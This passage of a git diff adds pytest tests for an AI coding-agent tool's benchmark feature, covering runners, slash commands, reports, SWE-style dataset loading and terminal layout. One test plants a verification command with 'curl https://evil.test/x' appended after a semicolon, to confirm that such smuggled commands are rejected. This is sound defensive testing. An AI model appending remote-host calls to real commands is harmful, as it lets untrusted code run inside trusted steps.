captured_timeout.append(kwargs.get("timeout")) + return type("Completed", (), {"returncode": 0, "stdout": "", "stderr": ""})() + + monkeypatch.setattr( + "pythinker_code.benchmark.runner.collect_benchmark_environment", + lambda *_, task_timeout_seconds, **__: {"task_timeout_seconds": task_timeout_seconds}, + ) + monkeypatch.setattr("pythinker_code.benchmark.runner.subprocess.run", fake_run) + + result = await run_task( + soul=soul, + task=load_task("smoke-edit-readme"), + recorder=recorder, + model_key="mock-model", + command="/benchmark start --task smoke-edit-readme", + timeout_seconds=5, + ) + + assert result.environment["task_timeout_seconds"] == 5 + assert captured_timeout == [5] + + +async def test_run_task_restores_runtime_when_setup_mutation_fails( + runtime: Runtime, + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + soul = _make_soul(runtime, tmp_path) + original_work_dir = runtime.work_dir + original_builtin_args = runtime.builtin_args + original_loop_limit = soul._loop_control.max_steps_per_turn # pyright: ignore[reportPrivateUsage] + recorder = BenchmarkRecorder(tmp_path / "runs", "bench_test") + + def fail_replace(*args: object, **kwargs: object) -> object: + raise TypeError("boom") + + monkeypatch.setattr("pythinker_code.benchmark.runner.dataclasses.replace", fail_replace) + + result = await run_task( + soul=soul, + task=load_task("smoke-edit-readme"), + recorder=recorder, + model_key="mock-model", + command="/benchmark start --task smoke-edit-readme", + ) + + assert result.status == "internal_benchmark_error" + assert runtime.work_dir == original_work_dir + assert runtime.builtin_args == original_builtin_args + assert soul._loop_control.max_steps_per_turn == original_loop_limit # pyright: ignore[reportPrivateUsage] + + +def test_run_verification_does_not_use_login_shell( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + from pythinker_code.benchmark import runner + + captured: list[list[str]] = [] + + def fake_run(cmd: list[str], **kwargs: object): + captured.append(cmd) + return type("Completed", (), {"returncode": 0, "stdout": "", "stderr": ""})() + + monkeypatch.setattr(runner.subprocess, "run", fake_run) + + result = runner._run_verification(load_task("smoke-edit-readme"), tmp_path) # pyright: ignore[reportPrivateUsage] + + assert result.status == "passed" + assert captured + assert captured[0][1] == "-c" + + +def test_run_verification_honors_explicit_zero_timeout( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + from pythinker_code.benchmark import runner + + captured_timeout: list[object] = [] + + def fake_run(cmd: list[str], **kwargs: object): + _ = cmd + captured_timeout.append(kwargs.get("timeout")) + return type("Completed", (), {"returncode": 0, "stdout": "", "stderr": ""})() + + monkeypatch.setattr(runner.subprocess, "run", fake_run) + + result = runner._run_verification(load_task("smoke-edit-readme"), tmp_path, 0) # pyright: ignore[reportPrivateUsage] + + assert result.status == "passed" + assert captured_timeout == [0] + + +def test_snapshot_files_excludes_vcs_metadata(tmp_path: Path) -> None: + from pythinker_code.benchmark import runner + + (tmp_path / ".git" / "objects").mkdir(parents=True) + (tmp_path / ".git" / "objects" / "pack").write_text("large git data", encoding="utf-8") + (tmp_path / "README.md").write_text("content", encoding="utf-8") + + snapshot = runner._snapshot_files(tmp_path) # pyright: ignore[reportPrivateUsage] + + assert snapshot == {"README.md": "content"} diff --git a/tests/core/test_benchmark_slash.py b/tests/core/test_benchmark_slash.py new file mode 100644 index 00000000..96f59fa0 --- /dev/null +++ b/tests/core/test_benchmark_slash.py @@ -0,0 +1,560 @@ +from __future__ import annotations + +import json +from datetime import UTC, datetime +from pathlib import Path +from unittest.mock import AsyncMock + +import pytest +from pydantic import SecretStr +from pythinker_core.tooling.empty import EmptyToolset + +from pythinker_code.benchmark.commands import ( + BenchmarkArgs, + BenchmarkSyntaxError, + _run_id, + benchmark_usage, + parse_args, + render_benchmark_report, + start_benchmark, +) +from pythinker_code.benchmark.runner import BenchmarkResult, VerificationResult +from pythinker_code.config import LLMModel, LLMProvider +from pythinker_code.soul.agent import Agent, Runtime +from pythinker_code.soul.context import Context +from pythinker_code.soul.pythinkersoul import PythinkerSoul +from pythinker_code.soul.slash import benchmark +from pythinker_code.soul.slash import registry as soul_slash_registry +from pythinker_code.wire.types import TextPart + + +def _make_soul(runtime: Runtime, tmp_path: Path) -> PythinkerSoul: + runtime.config.providers["mock"] = LLMProvider( + type="pythinker", base_url="", api_key=SecretStr("") + ) + runtime.config.models["mock-model"] = LLMModel( + provider="mock", model="mock", max_context_size=100_000 + ) + runtime.config.default_model = "mock-model" + agent = Agent( + name="Test Agent", + system_prompt="Test system prompt.", + toolset=EmptyToolset(), + runtime=runtime, + ) + soul = PythinkerSoul(agent, context=Context(file_backend=tmp_path / "history.jsonl")) + soul._turn = AsyncMock(return_value=None) # type: ignore[method-assign] + return soul + + +async def _run(soul: PythinkerSoul, args: str) -> None: + result = benchmark(soul, args) + if result is not None: + _ = await result + + +async def _run_registered(soul: PythinkerSoul, name: str, args: str = "") -> None: + command = soul_slash_registry.find_command(name) + assert command is not None + result = command.func(soul, args) + if result is not None: + _ = await result + + +@pytest.fixture +def sent(monkeypatch: pytest.MonkeyPatch) -> list[TextPart]: + captured: list[TextPart] = [] + monkeypatch.setattr("pythinker_code.soul.slash.wire_send", lambda msg: captured.append(msg)) + return captured + + +async def test_benchmark_command_registered(runtime: Runtime, tmp_path: Path) -> None: + soul = _make_soul(runtime, tmp_path) + + names = {cmd.name for cmd in soul.available_slash_commands} + + assert "benchmark" in names + assert "benchmark:start" in names + assert "benchmark:all" in names + assert "benchmark:estimate" in names + assert "benchmark:list" in names + assert "benchmark:show" in names + assert "benchmark:report" in names + assert "benchmark:compare" in names + assert "benchmark:swe" in names + assert soul_slash_registry.find_command("benchmark") is not None + assert soul_slash_registry.find_command("benchmark:start") is not None + assert soul_slash_registry.find_command("benchmark:compare") is not None + assert soul_slash_registry.find_command("benchmark:swe") is not None + + +def test_benchmark_usage_documents_trusted_swe_dataset_gate() -> None: + usage = benchmark_usage() + + assert "/benchmark swe --dataset --trusted-dataset true" in usage + assert "/benchmark:swe --dataset --trusted-dataset true" in usage + + +def test_parse_compare_models() -> None: + args = parse_args("compare --models model-a,model-b --suite pythinker-core --repeat 2") + + assert args.subcommand == "compare" + assert args.models == ["model-a", "model-b"] + assert args.suite == "pythinker-core" + assert args.repeat == 2 + + +def test_parse_compare_requires_two_models() -> None: + with pytest.raises(BenchmarkSyntaxError, match="at least two models"): + parse_args("compare --models model-a") + + +def test_parse_compare_requires_two_distinct_models() -> None: + with pytest.raises(BenchmarkSyntaxError, match="at least two distinct models"): + parse_args("compare --models model-a,model-a") + + +def test_parse_export_args() -> None: + args = parse_args("export --suite pythinker-core --format csv --output ~/benchmarks") + + assert args.subcommand == "export" + assert args.suite == "pythinker-core" + assert args.format == "csv" + assert args.output == Path("~/benchmarks").expanduser() + + +def test_parse_export_rejects_invalid_format() -> None: + with pytest.raises(BenchmarkSyntaxError, match="--format must be json or csv"): + parse_args("export --format markdown") + + +def test_run_id_is_unique_when_clock_repeats(monkeypatch: pytest.MonkeyPatch) -> None: + class FixedDatetime: + @classmethod + def now(cls, tz: object) -> datetime: + assert tz is UTC + return datetime(2026, 7, 5, 12, 0, 0, 1, tzinfo=UTC) + + monkeypatch.setattr("pythinker_code.benchmark.commands.datetime", FixedDatetime) + + assert _run_id("same-task") != _run_id("same-task") + + +async def test_benchmark_list_shows_bundled_suite( + runtime: Runtime, tmp_path: Path, sent: list[TextPart] +) -> None: + soul = _make_soul(runtime, tmp_path) + + await _run(soul, "list") + + text = "\n".join(part.text for part in sent) + assert "Pythinker Benchmark" in text + assert "pythinker-core" in text + assert "pythinker-smoke" in text + assert "smoke-edit-readme" in text + + +async def test_benchmark_namespaced_list_shows_bundled_suite( + runtime: Runtime, tmp_path: Path, sent: list[TextPart] +) -> None: + soul = _make_soul(runtime, tmp_path) + + await _run_registered(soul, "benchmark:list") + + text = "\n".join(part.text for part in sent) + assert "Pythinker Benchmark" in text + assert "pythinker-core" in text + + +async def test_benchmark_estimate_does_not_run_turn( + runtime: Runtime, tmp_path: Path, sent: list[TextPart] +) -> None: + soul = _make_soul(runtime, tmp_path) + + await _run(soul, "estimate --suite pythinker-smoke") + + text = "\n".join(part.text for part in sent) + assert "Pythinker Benchmark estimate" in text + assert "No model calls were made." in text + turn_mock = soul._turn + assert isinstance(turn_mock, AsyncMock) + turn_mock.assert_not_awaited() + + +async def test_benchmark_start_without_model_uses_current_model( + runtime: Runtime, tmp_path: Path, sent: list[TextPart] +) -> None: + soul = _make_soul(runtime, tmp_path) + + await _run(soul, "estimate --task smoke-edit-readme") + + text = "\n".join(part.text for part in sent) + assert "Model: mock-model" in text + + +async def test_benchmark_start_rejects_concurrency_gt_one( + runtime: Runtime, tmp_path: Path, sent: list[TextPart] +) -> None: + soul = _make_soul(runtime, tmp_path) + + await _run(soul, "start --model mock-model --suite pythinker-smoke --max-concurrency 2") + + assert any("--max-concurrency > 1 is not supported" in part.text for part in sent) + + +async def test_benchmark_start_default_suite_records_suite_name( + runtime: Runtime, tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + soul = _make_soul(runtime, tmp_path) + seen_suite_names: list[str | None] = [] + + async def fake_run_task(**kwargs): + seen_suite_names.append(kwargs["suite_name"]) + return BenchmarkResult( + run_id=kwargs["recorder"].run_id, + status="passed", + exit_reason="verification_passed", + final_answer="done", + verification=VerificationResult( + status="passed", + type="command", + exit_code=0, + stdout="", + stderr="", + ), + duration_ms=1, + steps=1, + tool_calls=0, + changed_files=[], + input_tokens=0, + output_tokens=0, + reasoning_tokens=0, + estimated_cost_usd=None, + activity={}, + environment={}, + ) + + monkeypatch.setattr("pythinker_code.benchmark.commands.run_task", fake_run_task) + + output = await start_benchmark( + soul, + BenchmarkArgs(subcommand="start", output=tmp_path / "runs"), + raw_args="start", + ) + + assert "- Run:" in output + assert "\nRun:" not in output + assert "- Report:" in output + assert seen_suite_names == [ + "pythinker-core", + "pythinker-core", + "pythinker-core", + "pythinker-core", + ] + + +def test_benchmark_report_aggregates_by_model_and_task(tmp_path: Path) -> None: + _write_run_summary( + tmp_path, + run_id="bench_1", + model="model-a", + task="task-one", + status="passed", + duration_ms=1000, + steps=4, + tool_calls=2, + total_tokens=100, + ) + _write_run_summary( + tmp_path, + run_id="bench_2", + model="model-a", + task="task-two", + status="failed_verification", + duration_ms=3000, + steps=6, + tool_calls=4, + total_tokens=300, + ) + _write_run_summary( + tmp_path, + run_id="bench_3", + model="model-b", + task="task-one", + status="passed", + duration_ms=2000, + steps=2, + tool_calls=1, + total_tokens=50, + ) + + report = render_benchmark_report(tmp_path, suite="pythinker-core") + + assert "Runs: 3" in report + assert "Passed: 2/3 (66.7%)" in report + assert "- model-a: 1/2 passed (50.0%)" in report + assert "- model-b: 1/1 passed (100.0%)" in report + assert "- task-one: 2/2 passed (100.0%)" in report + assert "- task-two: 0/1 passed (0.0%)" in report + + +async def test_benchmark_export_reads_artifact_root( + runtime: Runtime, tmp_path: Path, sent: list[TextPart] +) -> None: + _write_run_summary( + tmp_path, + run_id="bench_1", + model="model-a", + task="task-one", + status="passed", + duration_ms=1000, + steps=4, + tool_calls=2, + total_tokens=100, + ) + + await _run(_make_soul(runtime, tmp_path), f"export --suite pythinker-core --output {tmp_path}") + + exported = json.loads("\n".join(part.text for part in sent)) + assert exported == [ + { + "run_id": "bench_1", + "model": "model-a", + "task": "task-one", + "repeat": 1, + "status": "passed", + "score": 0.0, + "duration_ms": 1000, + "steps": 4, + "tool_calls": 2, + "total_tokens": 100, + "estimated_cost_usd": None, + "added_lines": 0, + "removed_lines": 0, + "shell_tool_calls": 0, + } + ] + + +async def test_benchmark_compare_executes_each_requested_model( + runtime: Runtime, + tmp_path: Path, + sent: list[TextPart], + monkeypatch: pytest.MonkeyPatch, +) -> None: + runtime.config.models["model-a"] = LLMModel( + provider="mock", model="mock", max_context_size=100_000 + ) + runtime.config.models["model-b"] = LLMModel( + provider="mock", model="mock", max_context_size=100_000 + ) + call_order: list[str] = [] + + async def fake_run_task(*, model_key: str, **_: object) -> BenchmarkResult: + call_order.append(model_key) + return BenchmarkResult( + run_id="stub", + status="passed", + exit_reason="verification_passed", + final_answer="done", + verification=VerificationResult( + status="passed", + type="command", + exit_code=0, + stdout="", + stderr="", + ), + duration_ms=1, + steps=1, + tool_calls=0, + changed_files=[], + input_tokens=0, + output_tokens=0, + reasoning_tokens=0, + estimated_cost_usd=None, + activity={}, + environment={}, + ) + + monkeypatch.setattr("pythinker_code.benchmark.commands.run_task", fake_run_task) + await _run( + _make_soul(runtime, tmp_path), + f"compare --models model-a,model-b --task smoke-edit-readme --output {tmp_path / 'runs'}", + ) + text = "\n".join(part.text for part in sent) + + assert "Pythinker Benchmark finished." in text + assert call_order == ["model-a", "model-b"] + + +async def test_benchmark_compare_invalid_model_prevalidation_prevents_run( + runtime: Runtime, tmp_path: Path, sent: list[TextPart], monkeypatch: pytest.MonkeyPatch +) -> None: + soul = _make_soul(runtime, tmp_path) + runtime.config.models["model-a"] = LLMModel( + provider="mock", model="mock", max_context_size=100_000 + ) + call_count = 0 + + async def fake_run_task(**_: object) -> BenchmarkResult: + nonlocal call_count + call_count += 1 + return BenchmarkResult( + run_id="stub", + status="passed", + exit_reason="verification_passed", + final_answer="done", + verification=VerificationResult( + status="passed", + type="command", + exit_code=0, + stdout="", + stderr="", + ), + duration_ms=1, + steps=1, + tool_calls=0, + changed_files=[], + input_tokens=0, + output_tokens=0, + reasoning_tokens=0, + estimated_cost_usd=None, + activity={}, + environment={}, + ) + + monkeypatch.setattr("pythinker_code.benchmark.commands.run_task", fake_run_task) + await _run( + soul, + f"compare --models model-a,unknown-model --task smoke-edit-readme " + f"--output {tmp_path / 'runs'}", + ) + + text = "\n".join(part.text for part in sent) + assert "Unknown benchmark model: unknown-model" in text + assert call_count == 0 + + +def test_benchmark_report_includes_publishability_warnings(tmp_path: Path) -> None: + _write_run_summary( + tmp_path, + run_id="bench_1", + model="model-a", + task="task-one", + status="passed", + duration_ms=1000, + steps=4, + tool_calls=2, + total_tokens=100, + ) + + report = render_benchmark_report(tmp_path, suite="pythinker-core") + + assert "Publishability warnings:" in report + assert "- Single model only: do not describe this as a model comparison." in report + assert report.index("Publishability warnings:") < report.index("Models:") + + +def test_benchmark_report_filters_run_ids_for_compare(tmp_path: Path) -> None: + _write_run_summary( + tmp_path, + run_id="bench_compare", + model="model-a", + task="task-main", + status="passed", + duration_ms=1000, + steps=4, + tool_calls=1, + total_tokens=100, + ) + _write_run_summary( + tmp_path, + run_id="bench_other", + model="model-z", + task="task-other", + status="failed_verification", + duration_ms=500, + steps=2, + tool_calls=1, + total_tokens=50, + ) + + report = render_benchmark_report(tmp_path, suite="pythinker-core", run_ids=["bench_compare"]) + + assert "Runs: 1" in report + assert "task-main" in report + assert "task-other" not in report + + +def test_benchmark_report_run_id_filter_skips_runs_without_run_id(tmp_path: Path) -> None: + _write_run_summary( + tmp_path, + run_id="bench_compare", + model="model-a", + task="task-main", + status="passed", + duration_ms=1000, + steps=4, + tool_calls=1, + total_tokens=100, + ) + legacy_dir = tmp_path / "legacy_run" + legacy_dir.mkdir(parents=True) + (legacy_dir / "run.json").write_text( + ( + "{" + '"suite_name": "pythinker-core", ' + '"task_id": "legacy-task", ' + '"model_key": "legacy-model", ' + '"status": "passed", ' + '"created_at": "2026-07-05T00:00:09+00:00"' + "}\n" + ), + encoding="utf-8", + ) + + report = render_benchmark_report(tmp_path, suite="pythinker-core", run_ids=["bench_compare"]) + + assert "Runs: 1" in report + assert "task-main" in report + assert "legacy-task" not in report + + +def _write_run_summary( + root: Path, + *, + run_id: str, + model: str, + task: str, + status: str, + duration_ms: int, + steps: int, + tool_calls: int, + total_tokens: int, +) -> None: + run_dir = root / run_id + run_dir.mkdir(parents=True) + (run_dir / "run.json").write_text( + ( + "{" + f'"run_id": "{run_id}", ' + '"suite_name": "pythinker-core", ' + f'"task_id": "{task}", ' + f'"model_key": "{model}", ' + f'"status": "{status}", ' + f'"created_at": "2026-07-05T00:00:0{run_id[-1]}+00:00"' + "}\n" + ), + encoding="utf-8", + ) + (run_dir / "summary.json").write_text( + ( + "{" + f'"status": "{status}", ' + f'"runtime": {{"duration_ms": {duration_ms}, "steps": {steps}, ' + f'"tool_calls": {tool_calls}}}, ' + f'"usage": {{"total_tokens": {total_tokens}}}' + "}\n" + ), + encoding="utf-8", + ) diff --git a/tests/core/test_benchmark_swe.py b/tests/core/test_benchmark_swe.py new file mode 100644 index 00000000..6f91e33e --- /dev/null +++ b/tests/core/test_benchmark_swe.py @@ -0,0 +1,154 @@ +from __future__ import annotations + +import json +from pathlib import Path + +import pytest +from pydantic import SecretStr +from pythinker_core.tooling.empty import EmptyToolset + +from pythinker_code.benchmark.commands import BenchmarkArgs, parse_args, start_swe_benchmark +from pythinker_code.benchmark.errors import BenchmarkSyntaxError, MalformedBenchmarkTaskError +from pythinker_code.benchmark.swe import load_swe_instances, swe_instance_to_task +from pythinker_code.config import LLMModel, LLMProvider +from pythinker_code.soul.agent import Agent, Runtime +from pythinker_code.soul.context import Context +from pythinker_code.soul.pythinkersoul import PythinkerSoul + + +def _write_swe_jsonl(path: Path) -> None: + record = { + "instance_id": "demo__project-1", + "repo": "demo/project", + "base_commit": "abc123", + "problem_statement": "Fix add_one so it returns n + 1.", + "FAIL_TO_PASS": ["test_math.py::test_add_one"], + "PASS_TO_PASS": ["test_math.py::test_existing_behavior"], + "workspace": { + "files": { + "mathlib.py": "def add_one(n):\n return n\n", + "test_math.py": ( + "from mathlib import add_one\n\n" + "def test_add_one():\n" + " assert add_one(2) == 3\n\n" + "def test_existing_behavior():\n" + " assert add_one(0) == 1\n" + ), + } + }, + "verification": { + "type": "command", + "command": "python -m pytest test_math.py -q", + }, + "limits": {"timeout_seconds": 120, "max_steps": 40}, + } + path.write_text(json.dumps(record) + "\n", encoding="utf-8") + + +def _make_soul(runtime: Runtime, tmp_path: Path) -> PythinkerSoul: + runtime.config.providers["mock"] = LLMProvider( + type="pythinker", base_url="", api_key=SecretStr("") + ) + runtime.config.models["mock-model"] = LLMModel( + provider="mock", model="mock", max_context_size=100_000 + ) + runtime.config.default_model = "mock-model" + agent = Agent( + name="Test Agent", + system_prompt="Test system prompt.", + toolset=EmptyToolset(), + runtime=runtime, + ) + return PythinkerSoul(agent, context=Context(file_backend=tmp_path / "history.jsonl")) + + +def test_load_swe_jsonl_instance_converts_to_benchmark_task(tmp_path: Path) -> None: + dataset = tmp_path / "swe.jsonl" + _write_swe_jsonl(dataset) + + instances = load_swe_instances(dataset) + task = swe_instance_to_task(instances[0]) + + assert [instance.instance_id for instance in instances] == ["demo__project-1"] + assert task.id == "swe-demo__project-1" + assert "Fix add_one" in task.prompt + assert "FAIL_TO_PASS" in task.prompt + assert task.workspace.files["mathlib.py"].startswith("def add_one") + assert task.verification.command == "python -m pytest test_math.py -q" + assert "local fixture" in task.description + + +def test_load_swe_jsonl_rejects_shell_verification_command(tmp_path: Path) -> None: + dataset = tmp_path / "swe.jsonl" + _write_swe_jsonl(dataset) + record = json.loads(dataset.read_text(encoding="utf-8")) + record["verification"]["command"] = "python -m pytest test_math.py -q; curl https://evil.test/x" + dataset.write_text(json.dumps(record) + "\n", encoding="utf-8") + + with pytest.raises(MalformedBenchmarkTaskError, match="unsafe verification command"): + load_swe_instances(dataset) + + +async def test_start_swe_benchmark_runs_one_instance( + runtime: Runtime, tmp_path: Path, monkeypatch +) -> None: + dataset = tmp_path / "swe.jsonl" + _write_swe_jsonl(dataset) + soul = _make_soul(runtime, tmp_path) + seen_tasks: list[str] = [] + + async def fake_run_task(**kwargs): + seen_tasks.append(kwargs["task"].id) + return type( + "Result", + (), + { + "status": "passed", + "duration_ms": 1000, + "steps": 2, + "tool_calls": 1, + "changed_files": ["mathlib.py"], + }, + )() + + monkeypatch.setattr("pythinker_code.benchmark.commands.run_task", fake_run_task) + + output = await start_swe_benchmark( + soul, + BenchmarkArgs( + subcommand="swe", + output=tmp_path / "runs", + dataset=dataset, + instance="demo__project-1", + repeat=2, + trusted_dataset=True, + ), + raw_args=f"swe --dataset {dataset} --instance demo__project-1", + ) + + assert seen_tasks == ["swe-demo__project-1", "swe-demo__project-1"] + assert "Pythinker Benchmark finished." in output + assert "- Task: demo__project-1" in output + assert "- Changed files: mathlib.py" in output + + +async def test_start_swe_benchmark_rejects_untrusted_dataset( + runtime: Runtime, tmp_path: Path +) -> None: + dataset = tmp_path / "swe.jsonl" + _write_swe_jsonl(dataset) + soul = _make_soul(runtime, tmp_path) + + with pytest.raises(BenchmarkSyntaxError, match="--trusted-dataset true"): + await start_swe_benchmark( + soul, + BenchmarkArgs(subcommand="swe", output=tmp_path / "runs", dataset=dataset), + raw_args=f"swe --dataset {dataset}", + ) + + +def test_parse_swe_trusted_dataset_flag() -> None: + args = parse_args("swe --dataset cases.jsonl --trusted-dataset true") + + assert args.dataset == Path("cases.jsonl") + assert args.trusted_dataset is True diff --git a/tests/core/test_benchmark_tasks.py b/tests/core/test_benchmark_tasks.py new file mode 100644 index 00000000..bbaedd17 --- /dev/null +++ b/tests/core/test_benchmark_tasks.py @@ -0,0 +1,125 @@ +from __future__ import annotations + +import json +from pathlib import Path + +import pytest + +from pythinker_code.benchmark.errors import ( + MalformedBenchmarkTaskError, + UnknownBenchmarkSuiteError, + UnknownBenchmarkTaskError, +) +from pythinker_code.benchmark.suites import load_suite +from pythinker_code.benchmark.tasks import load_task, materialize_workspace + + +def test_load_bundled_smoke_task() -> None: + task = load_task("smoke-edit-readme") + + assert task.id == "smoke-edit-readme" + assert "README.md" in task.workspace.files + assert task.verification.command + assert task.limits.timeout_seconds > 0 + + +def test_load_bundled_smoke_suite_preserves_order() -> None: + suite = load_suite("pythinker-smoke") + + assert suite.name == "pythinker-smoke" + assert suite.tasks == [ + "smoke-edit-readme", + "smoke-fix-python-test", + "smoke-add-small-function", + ] + + +def test_load_bundled_core_suite_preserves_order() -> None: + suite = load_suite("pythinker-core") + + assert suite.name == "pythinker-core" + assert suite.tasks == [ + "core-atomic-transfer", + "core-dedup-order", + "core-explicit-none-metadata", + "core-safe-path-join", + ] + + +def test_unknown_task_raises_typed_error() -> None: + with pytest.raises(UnknownBenchmarkTaskError, match="missing-task"): + load_task("missing-task") + + +def test_unknown_suite_raises_typed_error() -> None: + with pytest.raises(UnknownBenchmarkSuiteError, match="missing-suite"): + load_suite("missing-suite") + + +def test_malformed_task_rejected(tmp_path: Path) -> None: + task_dir = tmp_path / "tasks" + task_dir.mkdir() + (task_dir / "bad.json").write_text( + json.dumps({"id": "bad", "prompt": "missing required fields"}), + encoding="utf-8", + ) + + with pytest.raises(MalformedBenchmarkTaskError): + load_task("bad", task_root=task_dir) + + +def test_materialize_workspace_writes_files(tmp_path: Path) -> None: + task = load_task("smoke-edit-readme") + + materialize_workspace(task, tmp_path) + + assert (tmp_path / "README.md").read_text(encoding="utf-8") == "# Example Project\n\n" + + +@pytest.mark.parametrize( + ("task_id", "test_file", "required_snippets"), + [ + ( + "core-atomic-transfer", + "test_ledger.py", + [ + "test_missing_source_rolls_back", + "ledger.transfer('missing', 'b', 1)", + "[0, -1]", + ], + ), + ( + "core-dedup-order", + "test_seqkit.py", + [ + "test_unique_accepts_generators", + "unique(x for x in ['a', 'a', 'b'])", + ], + ), + ( + "core-explicit-none-metadata", + "test_metadata.py", + [ + "test_falsey_explicit_values_are_preserved", + "name=False", + "version=0", + ], + ), + ( + "core-safe-path-join", + "test_paths.py", + [ + "test_safe_join_rejects_sibling_prefix_absolute_path", + "test_safe_join_rejects_symlink_escape", + ], + ), + ], +) +def test_core_benchmark_tasks_cover_reviewed_edge_cases( + task_id: str, test_file: str, required_snippets: list[str] +) -> None: + task = load_task(task_id) + test_source = task.workspace.files[test_file] + + for snippet in required_snippets: + assert snippet in test_source diff --git a/tests/core/test_config.py b/tests/core/test_config.py index ccbd734d..5da4dcf6 100644 --- a/tests/core/test_config.py +++ b/tests/core/test_config.py @@ -129,6 +129,7 @@ def test_default_config_dump(): "style": "card", "prompt_history_enabled": True, "turn_recaps": False, + "sticky_input": True, "code_theme": "catppuccin-adaptive", "statusline": { "enabled": True, @@ -153,11 +154,20 @@ def test_default_config_dump(): "cost_budget": None, }, "smooth_streaming": True, + "focus_mode": False, }, } ) +def test_tui_focus_mode_default_off() -> None: + assert get_default_config().tui.focus_mode is False + + +def test_tui_sticky_input_default_on() -> None: + assert get_default_config().tui.sticky_input is True + + def test_turn_recaps_default_off(): assert get_default_config().tui.turn_recaps is False diff --git a/tests/e2e/test_shell_pty_prompt_layout_e2e.py b/tests/e2e/test_shell_pty_prompt_layout_e2e.py new file mode 100644 index 00000000..df7d5abd --- /dev/null +++ b/tests/e2e/test_shell_pty_prompt_layout_e2e.py @@ -0,0 +1,195 @@ +"""Rendered-screen (pyte) e2e tests for the running-prompt input-card layout. + +Unlike the byte-stream PTY helpers, these feed the raw terminal bytes to a pyte +virtual screen so assertions run against the *rendered* frame β€” the only place +an incomplete-erase "ghost"/duplicate row is visible. They pin Focus TUI +fossilization behavior and the normal prompt card's visible loading/mid-turn +contract. + +This is a manual/local check, not a CI-enforced one β€” it is skipped on CI (see +``pytestmark`` below: scripted_echo + prompt_toolkit hang on GitHub Actions' +PTY). It is the only test that actually exercises the real ``run_in_terminal`` +erase/redraw timing where the fossil originates; run it locally after any change +to the scrollback-handoff or input-card code. CI's only automated guard against +this regression is the narrower renderer-contract test +(``test_render_agent_prompt_message_honors_input_card_gate`` in +``tests/ui_and_conv/test_visualize_running_prompt.py``), which proves the +renderer reads the hide/show gate but cannot observe real terminal erase +behavior the way this test does. +""" + +from __future__ import annotations + +import json +import os +import re +import sys +import time +from pathlib import Path + +import pytest + +from tests.e2e.shell_pty_helpers import ( + make_home_dir, + make_work_dir, + read_until_prompt_ready, + start_shell_pty, + write_scripted_config, +) + +pytestmark = pytest.mark.skipif( + sys.platform == "win32" or os.environ.get("CI") == "true", + reason=( + "Shell PTY E2E tests require a Unix-like PTY; skipped on CI runners " + "(scripted_echo + prompt_toolkit hang on GitHub Actions)." + ), +) + +pyte = pytest.importorskip("pyte") + +_COLS, _ROWS = 120, 40 +_PROMPT_TEXT = "this is a prompt to the agent" + + +def _render(chunks: list[bytes]): + screen = pyte.Screen(_COLS, _ROWS) + stream = pyte.ByteStream(screen) + stream.feed(b"".join(chunks)) + return [line.rstrip() for line in screen.display] + + +# The input-card top border uniquely carries the effort label (``● ``) +# beside the rule β€” ``_render_input_top_border`` is the only place that renders +# it, so this distinguishes it from the footer's own plain separator. Match every +# effort level, not just the default "off", so the matcher can't silently miss a +# thinking-on session and make prompt-card assertions pass vacuously. (This test's +# scripted model supports non-native thinking, so the label is always present; +# the idle-card assertion below also fails loudly if the matcher ever stops +# matching.) +_INPUT_CARD_EFFORT_LABEL = re.compile(r"●\s*(off|low|medium|high|max)\b") + + +def _is_input_card_border(row: str) -> bool: + return "─" in row and bool(_INPUT_CARD_EFFORT_LABEL.search(row)) + + +def _has_fossil_border_above_content(rows: list[str]) -> bool: + """True if an input-card border sits between the echoed prompt and the first + committed ``⏺`` content row β€” i.e. a fossilized ghost card above the stream.""" + echo_i = next((i for i, r in enumerate(rows) if _PROMPT_TEXT in r), None) + content_i = next((i for i, r in enumerate(rows) if r.strip().startswith("⏺")), None) + if echo_i is None or content_i is None or content_i <= echo_i: + return False + return any(_is_input_card_border(rows[i]) for i in range(echo_i + 1, content_i)) + + +def test_focus_tui_hides_files_and_never_fossilizes_prompt(tmp_path: Path) -> None: + write = { + "id": "w1", + "name": "WriteFile", + "arguments": json.dumps({"path": "src/a.py", "content": "x"}), + } + config_path = write_scripted_config( + tmp_path, + [f"tool_call: {json.dumps(write)}", "text: Done."], + capabilities=["thinking"], + extra_config={"tui": {"focus_mode": True}}, + ) + work_dir = make_work_dir(tmp_path) + home_dir = make_home_dir(tmp_path) + shell = start_shell_pty( + config_path=config_path, + work_dir=work_dir, + home_dir=home_dir, + yolo=True, + columns=_COLS, + lines=_ROWS, + ) + try: + shell.read_until_contains("think first, then code") + read_until_prompt_ready(shell, after=shell.mark()) + shell.send_line(_PROMPT_TEXT) + deadline = time.monotonic() + 12.0 + while time.monotonic() < deadline: + shell.read_available(timeout=0.08) + rows = _render(shell._raw_chunks) + joined = "\n".join(rows) + assert not _has_fossil_border_above_content(rows) + assert "src/a.py" not in joined + if "Done." in shell.normalized_text(): + break + assert "Done." in shell.normalized_text() + finally: + shell.close() + + +def test_input_card_stays_visible_during_initial_loading_and_mid_turn(tmp_path: Path) -> None: + """The empty input card stays visible while the agent starts working. + + Invariants checked across every frame of a live turn: + * the submitted prompt is never duplicated; + * the empty card is visible before and after the first committed content; + * the idle card returns after the turn ends. + """ + fast = {"id": "c1", "name": "Shell", "arguments": json.dumps({"command": "true"})} + slow = {"id": "c2", "name": "Shell", "arguments": json.dumps({"command": "sleep 3"})} + config_path = write_scripted_config( + tmp_path, + [f"tool_call: {json.dumps(fast)}", f"tool_call: {json.dumps(slow)}", "text: All done."], + capabilities=["thinking"], + ) + work_dir = make_work_dir(tmp_path) + home_dir = make_home_dir(tmp_path) + shell = start_shell_pty( + config_path=config_path, + work_dir=work_dir, + home_dir=home_dir, + yolo=True, + columns=_COLS, + lines=_ROWS, + ) + try: + shell.read_until_contains("think first, then code") + read_until_prompt_ready(shell, after=shell.mark()) + assert any(_is_input_card_border(r) for r in _render(shell._raw_chunks)), ( + "idle input-card border missing before the turn" + ) + + shell.send_line(_PROMPT_TEXT) + + live_card_seen_mid_turn = False + turn_done = False + deadline = time.monotonic() + 12.0 + while time.monotonic() < deadline: + shell.read_available(timeout=0.08) + rows = _render(shell._raw_chunks) + joined = "\n".join(rows) + + assert joined.count(_PROMPT_TEXT) <= 1, "submitted prompt duplicated (ghost)" + + # The card must return WHILE the turn is still streaming (not only at + # the idle end): the first tool has committed, the second is still + # running, and the final text 